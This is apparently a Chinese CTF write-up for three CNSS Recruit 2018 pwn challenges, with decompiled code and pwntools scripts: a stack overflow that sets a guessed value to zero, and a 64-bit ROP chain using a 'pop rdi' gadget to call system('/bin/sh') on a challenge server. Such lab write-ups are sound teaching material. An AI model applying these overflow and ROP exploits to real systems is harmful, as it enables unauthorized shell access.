CNSSrecruit-2

childNc

主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
v8 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Please input two right numbers:");
__isoc99_scanf("%d %d", &v4, &v5);
v6 = v4 + v5;
v7 = v4 - v5;
if ( v4 + v5 != 19 || v7 != 5 )
{
puts("Try again~");
}
else
{
puts("Gooood!you get shell!Can you find the flag?\n");
system("/bin/sh");
}
return 0;

可以发现输入12和7就可以获得shell

GuessPigeon

程序自带getshell函数,所以只要找一个栈溢出然后把返回地址修改成getshell的地址就ok了,脚本如下

一开始没看一下有没有开什么保护啥的,结果试了半天也没能成功……后来发现开了canary保护,现场百度一波,找到了大佬的教程Linux pwn入门教程(9)——stack canary与绕过的思路,不过研究了一晚上发现这一题并不需要用到这篇教程里的东西…..

主程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // ST1C_4

init();
puts("Welcome to CNSS Recruit 2018\n");
puts("Let's guess the pigeon number together!");
v3 = time(0);
srand(v3);
v4 = rand();
guess(v4);
return 0;
}

v3就是canary的值,guess函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned int __cdecl guess(int a1)
{
char nptr; // [esp+8h] [ebp-70h]
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
puts("Please input your guess:");
__isoc99_scanf("%s", &nptr);
if ( atoi(&nptr) == a1 )
{
puts("My Gooood!You guessed the pigeon number!!");
getshell();
}
else
{
printf("You are wrong!The pigeon's number is %d\n try again~", a1);
}
return __readgsdword(0x14u) ^ v3;

栈中各变量的分布顺序:

1
2
3
nptr
canary
a1

这里可以通过scanf的栈溢出来修改a1,也就是v4的值。atoi()函数是将字符串转化为整形,例如’0’就会被转换成0,所以scanf输入时我选择全部用’0’填充,到了a1的值时使用p32(0)把a1修改为0,这样就使得guess函数中的判断成立,在函数结束之前进入了shell,无所谓是不是触发canary保护了。

脚本如下:

1
2
3
4
5
6
7
8
9
from pwn import *
elf=ELF("2")
sh=remote("132.232.34.26",8888)
print sh.recvuntil('token:')
sh.sendline('GuessPigeon')
print sh.recvuntil('guess:')
payload='0'*0x78+p32(0)
sh.sendline(payload)
sh.interactive()

GuessPigeon2

本题参考了i春秋上面大佬的教程Linux pwn入门教程(3)——ROP技术

主函数:

1
2
3
4
5
6
7
8
9
10
11
12
int result; // eax
char buf; // [rsp+0h] [rbp-70h]

puts("Please input your guess:");
__isoc99_scanf((__int64)"%s", (__int64)&buf);
puts("You've been fooled.There are no pigenos here!\n Good bye~");
puts("Do you want to get hint? yes/no?");
read(0, &buf, 0x100uLL);
result = strcmp(&buf, "yes");
if ( !result )
result = printf("Do you know \"%s\"\n", s);
return result;

函数列表里有system函数,只是参数不是/bin/sh。buf存在栈溢出,并且有两次输入都是输入到buf,所以第一次输入随便输入点什么,第二次输入时利用栈溢出调用system函数,并且发现s中储存的字符串正好是/bin/sh,可以用来作为system函数的参数。但是这个和之前做的那题有system函数没参数的不一样,这题是64位的,那题是32位的。

“在x64下通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参数才会入栈(根据调用约定的方式可能有不同,通常是这样),因此,我们就需要一个给RDI赋值的办法。由于我们可以控制栈,根据ROP的思想,我们需要找到的就是pop rdi; ret,前半段用于赋值rdi,后半段用于跳到其他代码片段。”

所以我们需要找一个命令pop rdi,这里可以使用ROPgadget

ROPgadget --binary 1 | grep "pop rdi"

这里找到的地址是0x400933,同时在ida中查看到call system的地址是0x4007cf,s的地址是0x600e20,利用这些就可以编写payload。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
elf=ELF("1")
sh=remote("132.232.34.26",8888)
sh.recvuntil('token:')
sh.sendline('GuessPigeon2')
sh.recvuntil('Please input your guess:')
sh.sendline('1')
sh.recvuntil('yes/no?')
payload='a'*0x78+p64(0x400933)+p64(0x600e20)+p64(0x4007cf)
sh.sendline(payload)
sh.interactive()

成功获取shell,cd ..之后cat flag。

文章目录
  1. 1. childNc
  2. 2. GuessPigeon
  3. 3. GuessPigeon2
|